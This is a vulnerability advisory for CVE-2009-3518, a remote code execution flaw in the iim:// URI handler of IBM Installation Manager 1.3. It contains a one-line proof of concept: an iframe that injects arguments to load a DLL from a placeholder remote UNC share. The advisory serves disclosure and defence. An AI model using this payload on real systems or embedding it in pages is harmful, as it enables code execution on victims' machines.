IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

BID:36549

Info

IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

Bugtraq ID: 36549
Class: Design Error
CVE: CVE-2009-3518
Remote: Yes
Local: No
Published: Sep 29 2009 12:00AM
Updated: Apr 17 2014 01:02AM
Credit: nine:situations:group::bruiser
Vulnerable: IBM Installation Manager 1.3
Not Vulnerable:

Discussion

IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

IBM Installation Manager is prone to a remote code-execution vulnerability.

Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

The following products that include Installation Manager are vulnerable:

IBM Rational Robot
IBM Rational Team Concert

Exploit / POC

IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

The following proof of concept is available:

<iframe src='iim://" -vm \\www.example.com\uncshare\sh.dll -url "'></iframe>

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

Solution / Fix

IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

IBM Installation Manager 'iim://' URI Handling Remote Code Execution Vulnerability

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